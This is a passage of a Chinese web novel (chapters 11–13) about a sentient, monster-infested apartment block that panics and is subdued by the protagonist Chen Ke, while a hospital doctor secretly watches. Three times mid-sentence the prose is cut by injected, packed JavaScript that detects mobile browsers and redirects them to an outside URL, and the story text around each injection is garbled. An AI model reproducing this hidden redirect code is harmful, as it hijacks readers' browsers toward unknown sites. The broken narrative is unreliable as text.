他没想到陈恪会选择居住在污染物盘踞的大楼里,还将住处布置得如此……别具一格。 是因为这里有什么特殊之处? 陈恪不在,谢文渊便不再收敛气息,他的视线穿透层层楼板,如同无形利刃,直抵大楼深处—— 张余正疯狂敲击键盘,半透明的触手在键盘上擦出残影,却在某一刻骤然僵直,仿佛按下了暂停键一般。 老板的电话还没有挂,声音有些卡顿:“张余,会还没开完,你发什么呆呢?!客户等着你继续呢!” “我……”张余很想继续,但是他身体僵直,连一句完整的辩解都挤不出来。 另一边,刘阿婆躺在血泊中,嘴巴里哼哧哼哧喘着粗气,黑色棉絮碳粉一样涌出口鼻,在地面晕出一片扭曲污渍。 她的青蛙眼已经干瘪浑浊,褶皱遍布,像脱水的苹果一样挂在脸上。 此时她抬起头,那双眼睁大,隔着重重楼体阻隔,察觉到了异常。 为什么会有其他污染物的气息出现?大楼怎么一点预警也没有?! “你也不动一动!人家都打到家里来了!” 刘阿婆抬起那双眼眸,怨毒地盯着天花板。 睦安佳苑一声不吭。 而随着那股恐怖的气息越来越明显,刘阿婆浑身颤抖了起来。 她浑浊的眼睛暴起,嘴巴喷出黑色的污渍: “隔壁楼盘开盘,一千一平,一起冲啊!” “鬼子进村了!快快快,跟我一起上!隐蔽,注意隐蔽……” …… 张余猛地一个激灵,清醒了过来。 大楼里那道让他感觉到窒息的气息消散了。看了眼时间,只过去了几分钟。 他摸了摸自己的额头,摸到了满手的黏液。 听到老板的怒吼,张余的眼睛脱框而出,身体和眼柄一起对着黑着的屏幕弯腰: “不好意思老板,我刚刚整理了一下思绪,觉得客户提的意见也有道理,我认为可以从这方面入手……” 另一边,刘阿婆也察觉到了那股气息的消散。 她长呼一口气,拖着残缺的身体往房间爬。 不论刚刚是什么情况,一定都和陈恪脱不了干系。 虽然那家伙脑子有病,下手又狠,但也正是因为遵循着某种可笑的原则,他并没有要她的命。 否则但凡是个正常人,早就把他们和睦安佳苑连窝端了。 刘阿婆扶着墙,一点点靠近电梯。 就在她摸到电梯的瞬间,整个大楼再次剧烈摇晃。 而这一次,比之前所有的震动都要猛烈! “我嘞个天老爷,又抽什么风?!” 刘阿婆缺了半截的后腰一软,差点再次扑倒在地。 “乖仔,不要激动,乖乖的,阿婆年纪大,别对阿婆动手……” “乖仔,听阿婆的话,阿婆给你讲八卦!” 刘阿婆说话一般睦安佳苑都会听,还从未出现如此失控的情况。 她惊疑不定地望向大楼的天花板。 出现在眼前的景象让她呼吸停滞。 暗红色的雾气从通风口涌出,目光所及之处,一切都开始融化。 水泥地面变得柔软,发出滑腻黏稠的声音。 墙皮大块大块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172136|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地剥落,露出底下跳动的肉膜。 红白相间的组织像被剥了皮的青蛙后腿,随着某种超越理解的韵律收缩鼓胀。 大楼更深的地方,恐怖的嗡鸣声若隐若现,甬道深处墙壁扭曲成一团,传来黏腻的水声,仿佛有千万条舌头在舔舐管道内壁。 张余牙关止不住的颤抖,触须机械地敲击着键盘,但不知道什么时候,打出的全是乱码。 他仿若未觉,透明的长长的触须在键盘上胡乱舞动。 最后按下发送键,将这份作品发给了老板和客户。 一分钟后,老板的语音电话炸响: “张余,你他妈找死是吧,客户就在我身边,你现在立刻重发!不然你就卷铺盖滚蛋!” 张余已经无暇顾及了。 他惊恐地看着电脑和手机被肉质化的墙壁吞噬,发出“咔滋咔滋”的咀嚼声,火花四溅,黑烟滚滚。 墙壁上裂开一道猩红的缝隙,一条布满倒刺的舌头伸了出来,贪婪地将散落的碎片卷入口中。 或许吃起来和跳跳糖的口感差不多,张余晃动着眼睛,心里想着。 差不多个鬼啊! “房管?房管呢?!”张余抱着瑟缩在角落。 他不明白,明明自己一直在好好工作,为什么等待他的不是光明的未来,而是天降横祸?! 在最后一个电子设备被吞掉之前,他听见老板的怒吼:“张余,你被炒鱿鱼了!” “不——!” 来不及辩解,通红的肉壁吞掉了一切。 张余的脸色瞬间灰败下来。 发疯的墙壁刹那间将他大半个身体吞噬。 刘阿婆还在挣扎。 墙壁和天花板如同受伤肌肉般诡异地痉挛收缩,白色的筋膜紧紧勒住刘阿婆的身体。 此刻,她被一层厚厚的肉膜严丝合缝地封死,只露出了一双青蛙眼。 黑色油状物源源不断地从她的嘴里流出来,活像一只待宰的青蛙。 张余不知道发生了什么,但刘阿婆清楚—— 是睦安佳苑本身在发疯。 一定是那个污染物影响了大楼! 都怪陈恪,要不是他把那个污染物带进来,他们也不会变成这样! 他跟那个污染物是什么关系?怎么没有杀他,反而把它带进家里了?! “陈恪,你这个吃里爬外的东西!”刘阿婆的咒骂渐渐模糊不清。 - 医院会议室。 谢闻渊揉了揉太阳穴。 “谢主任?不舒服?”副院长推了推眼镜,语气关切,“要不要休息一下?” 会议室里众人纷纷投来关切的目光。 在刚刚过去的电影院污染事件中,谢闻渊的表现堪称完美,连带医院都受到了上级表彰。 更难得的是,由于收治及时,幸存者人数大大超出预期。 半年前,这样的生存率是他们想都不敢想的。 多亏了谢闻渊啊。 “没事,继续开会吧。”谢文渊淡淡道。 印记太浅,很快就消散了。 他垂下眼皮,把玩着手里银色的签字笔。 睦安佳苑有自主意识,但如此胆小,对一丝标记的反应都如此强烈。 ——居然应激了。 11. 第 11 章 作为一只炒河粉、泡面和厨余垃圾都在食谱上的污染物,睦安佳苑始终谨记自己的使命 ——为住户提供一个良好的,宾至如归的体验。 这里的住户特指陈恪。 毕竟其他污染物勉强和睦安佳苑算是共生关系。 每当有不长眼的污染物试图入侵,睦安佳苑都会立即通知刘阿婆来清理这些小虫子,同时努力缩小自己的存在感,假装成一座普通居民楼。 这次的污染物入侵却不一样。 太强了! 它本能地感觉到了危险,而且是极度危险! 吓死楼了! 面对如此强大的污染物,睦安佳苑再度体会到陈恪刚搬进来那晚一样的恐惧感。 第一次见陈恪,大楼就出现过轻微的应激反应,但那个时候它的意识浑浑噩噩,并不像现在这么清晰,有一定的自控力。 因而等它反应过来的时候,陈恪对住户们的清洗已经结束了。 那之后,大楼决定直接装死,乖乖当一栋楼,哪怕饿到极点,也只敢翻一翻陈恪的垃圾桶。 上次饿昏了头,在刘阿婆的怂恿下,它利用神志不清的张余在网上发帖,尝试诱捕人类。 但陈恪识破了它的计谋,并给了它教训——在它拿西瓜的时候剁下了一部分肢体,并扔进厨余垃圾桶,这是在强迫它吃下自己的“肉”! 即便已经如此残忍了,但它没有想到,惩罚居然还没有结束。 陈恪不仅要诛楼的心,他还要杀楼的身! 他居然请来了帮手继续惩罚自己! 睦安佳苑做错了什么?! 哪个污染物不吃人? 就他们三个的胃比微付宝余额还干净! 所以,当谢闻渊的气息出现后,对于二者叠加起来的恐惧,睦安佳苑直接出现了应激反应。 楼体的外表面涌出了大量的透明的液体,楼里传来了恐怖的呜呜声,仿佛是在哭泣。 睦安佳苑无法控制自己做出这样的行为,就像动物应激的时候,他们也无法控制自己的本能反应。 …… 陈恪走到半路时,越想越觉得不对,他的直觉向来很准,这种心悸感已经很久没有出现过了。 他已经安顿好了元博文,他自己又没事,出事的还会是哪里呢? 思考了几分钟,陈恪都没有想到答案。 “乘客们,幸福小区已经到了,请您有序下车……”公交车的广播声传来。 陈恪的眼皮一跳。他知道是哪里不对了。 睦安佳苑。 [张余,你看看刘阿婆在哪?] 陈恪立刻下车,一边往回赶,一边给张余发消息。 隔了很久,张余也没有回消息。 陈恪知道自己的猜测没错,睦安佳苑出事了。 等看到那栋棕红色的建筑时,他内心的不祥的感觉得到了验证。 眼前的睦安佳苑仿佛小时候吃的绿舌头冰棒,以完全违背建筑力学的姿势扭曲摇摆。 好在没有跳起来——那么大的身体它也做不到。 除此之外,把能发的癫挨个发了个遍。 那些攀附在墙面的藤蔓,已经被层层扯断,墨绿色的叶子上,密密麻麻的细小口器张开,一张一合。 几乎能听到那些小嘴正在叭叭叭,骂的话十分不堪入耳。 就是在这样的情况下,陈恪还是听到了刘阿婆顽强地喊着救命。 她枯瘦的手掌拼命向外伸着,浑浊的眼球死死盯着陈恪。 而张余呢…… 陈恪找了半天,才看到张余面如死灰,像是海浪里的一条鱼随波逐流。 九十岁老妪求生欲极强,二十岁年轻人恨不得原地去世。 陈恪一愣,视线却不是盯着这两人,而是越过他们—— “我的民法刑法经济法!” 他脸色大变,手中的塑料袋“啪”地掉在地上。 给元博文带的换洗衣物散落一地,但此时已经顾不上这些了。 等陈恪冲进去时,发现情况远比他想象的还要糟糕。 原本的走廊已经完全被蠕动的肉壁占据,那些暗红色的组织像发酵过度的面团般膨胀挤压,缝隙间渗出黏稠的血浆。 更可怕的是空气中弥漫的恶臭:血腥味混合着的炒河粉、薯片、老坛酸菜……就像把整个小区的垃圾压缩在了这方寸之地。 ——事实也是如此。张余也经常把自己吃不完的剩饭剩菜扔进去,昨晚甚至他都扔进去了自己买的特价榴莲。 此时是夏季,厨余垃圾的味道混合着污染物本身的腥臭,以及血水,味道十分酸爽。 墙壁上突然裂开一张嘴,正对着张余吐出半消化状态的薯片包装袋。 塑料碎片粘连着血丝,“啪”地糊在他脸上。 张余灰白的脸色终于有了变化。 “呕!” “呕呕!” 剧烈的生理反应终于唤醒了张余的意识。他颤抖着抹掉脸上的秽物: “这、这是……” 他声线不稳,显然眼前的一幕刺激到了他。 嗓子里的尖叫刚冲出喉咙,腥臭的血水就灌了进来。 张余死死闭紧嘴巴:“呜呜,呜呜呜呜呜呜。” 楼管不要吃他啊! 他就是个普通社畜,挣个仨瓜俩枣容易吗?! 成日里受气,被老板骂,现在甚至被炒了鱿鱼,这个世界上还有比他更难的人吗? 该死的楼管,他现在失业一无所有都没哭,它反倒哭得梨花带雨。 哭什么哭?在场的几个人哪个不比你惨?! 巨大的悲痛和愤怒让张余的身体发生了某种变化。 半透明的黏液从她的毛孔缝隙溢出,身后几根细细长长的触须也从衣领里面钻了出来。 “啵”一声,他的眼球连带着视神经晃晃悠悠飘了起来,像章鱼触须般在空中舒展,缓慢地转动,为自己谋求一条生路。 就在这时候,他看到了陈恪。 青年在这堆肉海里面行动自如,似乎并没有因为楼道的挤压而变得举步维艰。 和张余的情况形成了鲜明的对比。 看到他,张余突然想到,这个世界还有更不容易的人——陈恪工资只有3500。 名为同情的情绪让张余理智再次稳定下来。 恰在此时,陈恪发现了他,三步并作两步,踩在血肉堆里迈了过来。 张余欣喜若狂,身后的半透明的触须不自觉地摆动着,像只水母:“我在这——” 话音未落,陈恪突然抓住张余悬空漂浮着的眼柄。 剧痛让张余的尖叫变了调,感觉自己的脑浆都要被扯出来了。 “啊啊——” 不仅是张余的眼柄,甚至脖子都因为巨大的拉力被拽的变了形。 “啵!!!” 伴随着令人牙酸的撕裂声,张余像拔萝卜般被陈恪拽出肉壁。 黏液拉出长长的丝线,他的触须软趴趴地耷拉在身后。 终于得救了,感谢他靠谱的邻居。 张余眼泪鼻涕糊了一脸:“谢——” 话音未落,他就被陈恪提着眼柄丢出了窗外。 陈恪甩了甩手上的黏液,皱眉环顾四周:“我刚看到柜子就在这来着……” 他手臂线条绷紧,四周蠕动的肉壁被他推开。而就在那些肉壁的最下方,他看到了自己的柜子。 里面整齐码放的新书连塑封都没拆,在血色肉壁的映照下显得格外干净。 “果然在这里。” 陈恪松了口气,毫不犹豫地扛起整个柜子,朝着窗外用力一掷—— “砰!”重物落地的闷响伴随着隐约的痛呼传来。 陈恪侧耳,确定自己的柜子应该没散架后,便收回了注意力。 他现在要去救剩下的书。 好多都绝版了啊! 他仔细观察着大楼的异变,确定了一个大概的方向之后,踹开挡路的肉壁。 就在这个时候,他突然捕捉到一丝陌生的污染物的气息—— 很淡,几乎微不可闻,但陈恪经常和污染物打交道,更是熟悉自己的邻居们,因而这股气息一出现就被他察觉到。 陈恪眯起眼睛。 - 刘阿婆远远地看到陈恪过来,不由得欣喜若狂。 虽然陈恪是个神经病,但不得不说,越不正常越强! 如果有他在的话,她一定会得救的! 刘阿婆艰难地从这栋血肉堆里钻出了头。 “呸!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172137|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她吐出一口腥臭的血,张口就来:“小陈啊!后生!阿婆在这呢!” 如果陈恪能救她,那她可以不计较他将污染物带进来的事情。 然而陈恪面露焦急之色,却始终看着地上。 地上,地上有什么好东西? 刘阿婆低下头,然后察觉到一股大力将自己按进了腥臭的血肉中。 “找到了,还好珍藏版都套了防水袋,损失不大。” 陈恪的声音在刘阿婆的头顶响起。 意识到刚刚的情况是因为陈恪踩着自己的肩膀,巨大的愤怒从刘阿婆的胸腔涌出。 “陈恪!!!” 不等刘阿婆继续尖叫,发癫的睦安佳苑再次翻滚,将她缠进了大楼深处。 陈恪抬眼,却没有发现任何人的身影。 “奇怪。” 陈恪继续埋头寻找。他眼睛尖,陆陆续续从楼体中抢救出了不少珍藏版。 他弯着腰找书,还捞到了以前的住户的不少珍藏,都随着“地龙翻身”被翻了出来。 当时入住的匆忙,后面陈恪也忘了这回事,没想到这次睦安佳苑把自己翻了个底朝天,连陈年古董都翻出来了! 不仅有皮夹、金饰还有一些其他的好东西。 多好的东西,就这样被大楼吸收了多可惜啊…… 于是陈恪多捞了一会。 就在十几分钟后,大楼的内部猛烈地搅动。 黑红色的肉膜像沸腾的岩浆般层层翻涌,被卷入其中的家具发出不堪重负的“吱嘎”声。 有的家具和血肉筋膜融为一体,仿佛也开始搏动,变成了无法理解的诡异存在。 陈恪看到,有些没来得及救出的书都变成了大楼的一员。 他深吸一口气:“我劝你冷静。” 话音刚落,扭曲的走廊挤压收缩,并且随之旋转绞紧,将陈恪牢牢缠住,像是不愿意听他讲话。 怎么没完没了了? 血水顺着陈恪的下颌线滴落,又融入更深的楼栋血肉中。 他的手撑在头顶,挡住了血肉墙壁的压迫,另一只手则是摸向了口袋。 修长的手指抽出,一把折叠小刀被轻轻抛起。 “咔!” 随着一声金属鸣响,小刀似乎发生了某种维度上的扭曲。 银光闪过,眨眼间,一柄泛着冷光的长刀跃出,暗金色的纹路在轻薄而窄的刃口若隐若现。 陈恪反手握住刀柄,指尖抚过刀脊。 “对于如何治疗应激我不清楚。” 他的手掌划过血腥的肉壁,用纤长的手指比画了几下,像是在琢磨从哪里下手。 “但我知道一个土方法——” 话音未落,刀光乍现! “唰!” 银芒如月华倾泻。 大楼挣扎的身体突然停住了。 下一秒,比先前猛烈十倍的震颤席卷每个角落! 肉壁之间的粘连被尽数斩断,入目处,铺天盖地的血浪从肉壁中翻滚而出,如同决堤的大坝,水流轰隆声不绝于耳。 陈恪轻轻一跃,避开滔天血浪。后腰一拧,将窄刀深深刺入高处的肉壁,就这样单手悬吊在血瀑之上。 几滴猩红溅在他苍白的脸颊上,栗色的瞳孔边缘泛起金色光晕。 他的声音穿透血浪: “——放血疗法。” - “莲花区检测到强污染波动,预计在C级及以上!” 检测站内,数个屏幕同时闪烁起刺目的红光。 尖锐的警报声响起,仿佛平静的湖面被投下一颗石子,所有人都紧张起来。 “联系第七小组,务必将事态控制住!” 站长拍下紧急通讯按钮,金属桌面被震得嗡嗡作响。 就在他指令发出的一秒后—— “等等,污染源消失了。” 检测员摘下耳机,不可置信汇报:“仪器甚至来不及锁定具体位置。” 检测员反复调整着监测参数,屏幕上依旧一片绿光,污染值已经回归到了正常水平。 方才还剧烈波动的污染警报安静了下来,连带着整个观测室都陷入诡异的寂静,只剩下设备运转的细微电流声。 “C级以上的污染源怎么会凭空消失?” 12. 第 12 章 新陵市污染观测站。 “是不是设备出问题了?”穿着黑色工作服的站长陈明来到屏幕前,弯腰看着屏幕。 “站长,这批设备上半年刚换,星光影城的污染事件就是它发现的,灵敏度是当前国内最高规格。” “那为什么会出现失灵的情况?” 观测员额角渗出细密汗珠:“可能是我的操作失误?” 然而换了一个观测员,设备依然保持着沉默。就好像刚刚的警报只是一场幻觉。 “立即上报总部,密切关注,不能放过一个可疑污染源。” 陈明直起身,声音低沉,“上次就是因为赵队长去得早,才将事态控制住,我们赌不起。” 他像是想到了什么,问观测员:“玫瑰别墅的案子,行动组找到那个人了吗?” 上周玫瑰别墅发生了一起污染物袭击事件,但当特管局赶到时,那个污染物已经被肢解,现场只留下一本染血的《民法典》。 “‘裁决者’做的。”观测员说:“行动组那边说,这行事风格只有他了。” 说着,他调出档案,“这半年来他的活动轨迹都集中在新陵。但就像之前一样……” 他顿了顿,“那本法典上的污染浓度太高,DNA全部降解,连指纹都被腐蚀,那片街区监控被污染物弄坏,其他线索中也提取不到有用的信息……” 陈明的眉头拧了起来:“这么嚣张,只有他做得出来。” 干掉污染物,现场并没有太多打斗痕迹,几乎像是瞬间完成斩杀。 而之所以有这样一个外号,是因为他总是在清理完污染物之后,留下一本破损不堪的法典。 “太嚣张了!”一个观测员小声说:“简直像是在说:污染物,我将依法赐予你死亡!” 旁边的人瞪了他一眼:“中二病。” “一个能够单枪匹马解决C级污染的野生异能者……”陈明喃喃自语,“他会潜伏在哪呢?” - 睦安佳苑外面。 张余被陈恪丢下来的柜子砸了脑袋,正头昏脑涨时,仿佛看到了一轮银色的弦月在大楼里面升起。 他缓慢眨动着一只蜗牛眼——因为陈恪扔下来的柜子,另一只眼球睁不开了,眼柄软趴趴的弯折着。 好消息,他的视野变高了,很多一米八的小伙子也不一定有他看得远; 坏消息,目前只剩一只眼了,另一只健康状况不明。 张余摇摇晃晃站了起来,血水顺着衣角滴落。 他的眼镜早不知飞去了哪个维度,视线所及之处,世界被蒙上一层猩红的滤镜。 睦安佳苑的楼体矗立在血泊中。 此时的它整个身躯仿佛失去棱角,楼体边缘的线条软化歪斜,微微歪向一边,如同软塌塌的过期果冻。 窗户玻璃蒙着厚厚一层灰,透不出半点生气。 外墙红棕色也变成了暗沉沉的灰棕色。 整栋楼精气神好像都被吸干了一样。 张余恍惚看见一个半透明的楼体幽灵飘荡在上空。 可能是脑震荡的缘故,他的思维又开始不受控制地发散。 身上的半透明触须都缠绕在了一起,打成了死结,一颤一颤的,仿佛得了帕金森。 “所以睦安佳苑也是污染物?” 张余喃喃自语,他的视线转向了目之所及唯一还在动的存在。 不远处,那些原本攀附在大楼外面的绿色藤蔓,叶片密实,每一个叶片上都有数十张口器。 此时,它们正张开密密麻麻的口器,疯狂吮吸着地上的红色血液。 一边吮吸,一边发出“吸溜吸溜”的声音,时不时砸吧砸吧嘴,显然爱上了这个味道。 “怎么到处都是污染物啊……” “我……我好像失业了,房子还没了。” 张余脸上再次出现了“恨不得立刻去死”的表情。 他的所有财产都被楼管嘎嘣嚼碎吃掉了! 半透明的触须因为愤怒而舞动着,却因此缠得更紧了一些,有几根甚至缠到了他自己的脖子上。 张余感受到了一阵窒息,他几乎迫不及待地就要冲进大楼,要和睦安佳苑同归于尽! 就算被污染又能什么?没钱才是真正的绝望啊! 就在这个时候,陈恪从楼里走了出来。 他的衣服也被红色的血液完全浸湿,但依旧步态稳健,手里还抱着一摞书,仿佛刚刚逛完书店。 看到张余,陈恪自然地打了招呼。 “张余,原来你在外面啊。怎么样,身体可以吗?” 张余回忆起陈恪拎着他就跟拎小鸡仔一样,丝毫不管人死活,打了个冷战。 那可是十四楼! “还,还行叭。” 张余突然感觉眼睛有些疼,他摸了摸自己头顶软趴趴的眼睛。 诶?眼睛怎么在头顶? 人类的眼睛怎么能长在头顶呢? 一旦开始仔细思考,张余又开始产生强烈的眩晕感。 “没事就好。”陈恪打断了他的话:“没事的话,可以帮我来搬一下书吗?” 张余再次变得唯唯诺诺。 “哦,哦,好,我马上来。” 张余机械地迈开步子。 说来奇怪,每次见到陈恪,他那些濒临崩溃的情绪就会被迫冷静。 张余走进大楼,这里的一部分已经恢复成了钢筋水泥的模样,不过是战损版水泥楼。 黑色的墙壁上挂着黏稠的血浆,天花板不时滴落暗红色的水珠,整栋大楼像是经历了一场火灾,又被血浪浇灭。 淡淡的腐臭味在楼道里蔓延,偶尔有没来得及变正常的墙壁,依旧保持着血肉组织的形态。 每当这时,陈恪就会像查房的医生般,屈指在墙面上轻叩三下。 之后几秒,墙壁就会变成正常的水泥墙。 张余看得目瞪口呆。 最让张余感觉到恐怖的是十三楼,这里有一面巨大的水泥墙。 这堵墙像被剖开的腹腔,各种家具如同肿瘤般嵌在水泥里。扭曲的水管交错,杂乱地捆扎在墙体裂口处,看起来仿若缝合线。 那些“水管缝合线”的缝隙间,正缓缓渗出猩红的组织液。 粗糙的针脚看起来就像是实习医生做的,还是内科实习生。 “这是你做的?!”张余身后的触手舞动着,十分激动。 陈恪抬头看了眼,露出赧然的神色,低声道:“网上搜的伤口缝合教程。” 他顿了顿,补充道:“第一次实操。” 言下之意是,新手缝成这样已经尽力了。 明明是如此诡异的一件事情,但他说出来怎么偏偏就这么自然? 就好像人类切开整栋大楼不是什么了不起的事情,而给一栋楼缝合伤口,更是稀松平常。 张余仅剩的一只眼的眼皮抽了抽。 总感觉自己半年前生了那场病之后,这个世界都开始不正常起来。 电梯坏了,两人只能在楼里搜刮书籍,然后一趟趟地搬下去。 “救救我!” 再次走到一楼的时候,张余听到了地下室刘阿婆的声音。 “我的养老金账户密码是8888……救了我必有重谢!” “老孙头包养小三的证据在我这里,他老婆前段时间还……” “家里抢的土鸡蛋可以双手奉上,不要钱……” 声音一声接着一声,看得出来求生欲极强了。 张余看了眼陈恪,后者感叹道:“元博文说得没错,刘阿婆的身体素质真的挺不错的。” 等到两人去地下室的时候,刘阿婆嵌在墙壁里,整条左腿完全没入水泥,右腿还在拼命蹬踹。 见到是陈恪,刘阿婆赶紧道:“菜刀,你拿菜刀往这边砍——” 陈恪上前一步,只是轻轻叩击墙面,钢筋水泥如同被驯服的野兽,竟缓缓向两侧退开,露出一个缺口。 刘阿婆从墙上跌落时,在空中敏捷调整了姿势,踉跄几步,最终稳定住身形。 她浑浊的眼珠剧烈震颤,惊疑不定地看着陈恪。 为什么大楼对陈恪这么言听计从? 要知道,即便当初经历了清洗,大楼也就是暂时服软而已。实际上,作为这栋楼的污染物智力天花板,刘阿婆连哄带骗,才让睦安佳苑听她的话。 但现在,大楼不听她的话了。 不,不应该是不听了,而是如同被抽走灵魂,已经处于无意识状态,没有办法听话了。 她被墙壁吞噬时,那堵墙冰冷得如同死物。陈恪却像拿着□□的主人,轻轻一敲就打开了锁。 睦安佳苑简直像是一条被打服了的狗,连做梦闻到主人的气息都要摇几下尾巴! 一股郁气堵在胸口,刘阿婆枯皱的面皮抽搐着,几乎要呕出血来。 但与此同时,一股深深的忌惮从她的骨缝里面渗出。 虽然她只关心八卦,但也知道特管局围剿污染物是什么个场面。 清场戒严,全副武装,人海战术硬。即便这样,也免不了伤亡。 可陈恪…… 刘阿婆知道他不简单,从他搬进睦安佳苑的第一天时候她就已经体会到了。 但过去了几个月,无论是刘阿婆还是睦安佳苑的实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172138|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力都今非昔比,可他们还是被压着打! 尤其是睦安佳苑本身,那可是一栋楼啊! 为什么这片区域的污染事件少,不就是因为睦安佳苑在这里威慑吗? 偶尔有不长眼的污染物流浪到这里,都被刘阿婆赶了出去。 刘阿婆的视线凝固在陈恪身上,他穿着一件黑色衬衫,衣袖处正缓缓滴落着暗红色的血水。 他的脸庞干净,显然已经清理过了。 最令她不安的是,他连呼吸都没有丝毫紊乱。 “你知道是什么刺激到了大楼吗?”刘阿婆谨慎试探。 陈恪似乎有些意外:“有想法,但还没有抓到凶手。” 放屁!那个污染物就是你带进来的,那么强大气息,你怎么可能不知道凶手是谁? 除非…… 刘阿婆浑身一颤,突然明白了。 这是警告! 因为她和睦安佳苑联手做局,骗了元博文,所以陈恪故意用其他污染物吓它,逼得睦安佳苑出现了应激反应。 没错,一定是这样,不然怎么解释陈恪这么警觉的人,却没发现他自己带回来的污染物? 他现在装不知道,就是要她自己想明白—— 你们这次过分了。 所以先收拾了她,又教训了大楼。 年纪轻轻,怎么心机这么深? 算了,既然他都说了不知道,那就是要护着那个污染物。 她再问就是自讨没趣。 这次的交锋还是他们败了,败得一塌糊涂,但没事,来日方长…… 刘阿婆一瘸一拐上前,露出笑容:“小陈啊,谢谢你救我出来,也救了咱们小区,阿婆家里还有一些鸡蛋……” “阿婆,你家的冰箱估计都没了吧?”陈恪眨了眨眼,一脸困惑。 “嗨呀,你瞧我这记性,可惜了呀,那么好的鸡蛋……不要九九八,只要九毛八……”刘阿婆尴尬一笑,身子往后面缩了缩。 “阿婆下次给你带鸡蛋,还有老孙头包二奶的证据,那个老头做的事情呀,啧啧……” “阿婆今天有点事情,鸡蛋下次给你送到1404,你还有什么需要帮助的,可以随时联系我……” 说完,刘阿婆一下溜得没影。 张余看着十分震撼,伸出两只手比画着:“这就是污染物的身体素质吗?好强啊!” 陈恪扫他一眼,叹了口气。 两人搬完书以后,坐在空地上休息。 “大意了。” 没想到竟然会有污染物趁他不在家搞偷袭! 陈恪一拍地面:“未经允许闯入民宅,这是违法行为!” 张余瘫在书堆里,触须软得像煮烂的面条,听到陈恪还在计较这些,不得不佩服。 看着眼前的书籍,他突然想到了一件非常重要的事情。抓着自己的眼睛撕扯了几下,拉出长长的一根,还沾着黏液,滴滴答答的。 “完了,楼里出了这么大的事,特管局肯定要来调查,那咱们是不是要死了!” - 散会之后,谢闻渊拒绝了团队聚餐的邀请。 “谢医生,今天这么早就下班?”年轻护士抱着病历本,有些诧异地问道。 “嗯。” 谢闻渊没有多言,只是面无表情地穿上灰色西装外套,转身离开。 剪裁精良的西装勾勒出他挺拔的身形,在走廊冷光下投下一道修长的阴影。 不多时,那辆低调的黑色轿车便停在了莲花区睦安佳苑的路口。 隔着整整一条街的距离,谢闻渊已然捕捉到空气中飘散的气息。 谢闻渊坐在驾驶室,整张脸隐在黑暗中。 他灰绿色瞳孔微微收缩,散发出幽暗的荧光,身后隐约浮现出扭曲的暗影。 那庞大到难以名状的阴影正朝着睦安佳苑的方向缓缓倾斜。 睦安佳苑的应激反应停下了。 是陈恪做的。 真令人意外,他本以为会见到他的尸体。 谢闻渊流露出一丝兴味。 他的视线上移。 街边的监控摄像头突然发出沙沙的杂音,画面像是老旧的录像带扭曲卡顿。 更远处的监控室里,值班人员困惑地拍打着突然失灵的屏幕。 一小时前,在感知到大楼应激反应的瞬间,谢闻渊的印记便掩盖了睦安佳苑的存在。 因而污染监测站检测不到这里的异常。 当然作为代价,印记也消散了。 谢闻渊静静看着睦安佳苑的方向,眸中闪过一丝冷光。 他的猎物,不容许其他人染指。 13.第 13 章 陈恪和张余在楼下等了很久,始终没等到特管局的人出现。 陈恪扫了一眼刚刚搬出来的书。 他把书搬出来,也是考虑到特管局来,他就要搬家了。 上次搬家,就是因为隔壁楼栋有污染事件,特管局封了整栋楼。 但不知道为什么,这次迟迟不见动静。 “什么情况?难不成咱小区这点污染入不了特管局的眼?” 张余挠了挠头:“那现在是不是可以回去了?” 陈恪也在思考这个问题。 按照特管局现在的响应速度,污染值波动超出阈值的情况下,不可能到现在还没出动。 除非遇到什么意外了。 “再等等,如果还没来人的话,我们就上去吧。”陈恪说。 如果不用搬家的话那真的太好了! 凌晨四点,楼下还是没有任何动静,两人将所有的书又重新搬上了楼。 当然,在陈恪的强烈要求下,大楼拼着重伤的身体,给他开了电梯。 见它还有余力,他便指挥着让它造几个新柜子,用来放书。 陈恪捞的一些其他古董也都整理了出来,放在了书架上。 陈恪非常满意,尤其满意睦安佳苑附赠的那些无人认领的钱夹。 天亮后,整栋睦安佳苑已焕然一新。 瓷砖光可鉴人,陈年老垢无影无踪,堪比豪装翻新,说一句脱胎换骨都不为过。 只是家具的线条还是不怎么直——许多家具本就是睦安佳苑的一部分,现在它还虚弱着,能力有限,能变出个样子来就不错了。 失血过多嘛,也可以理解。 现在,陈恪的房间家具全新,面积还扩大了一些。 虽然有污染物入侵,但侵得好啊! 不仅免费换新家,甚至还免费送赔偿金,元博文的医药费这不就出来了么? 有那么短短一瞬,陈恪希望那个污染物多来几次。 洗完澡换好衣服,陈恪来到了楼道。 横亘在十三楼和十四楼的巨大“伤口”,已经没有再流血了,上面的家具也被消化吸收得差不多了。 “不愧是污染物,恢复力就是强。” 陈恪感叹一句,随后将耳朵贴在墙上,仔细地听了听。 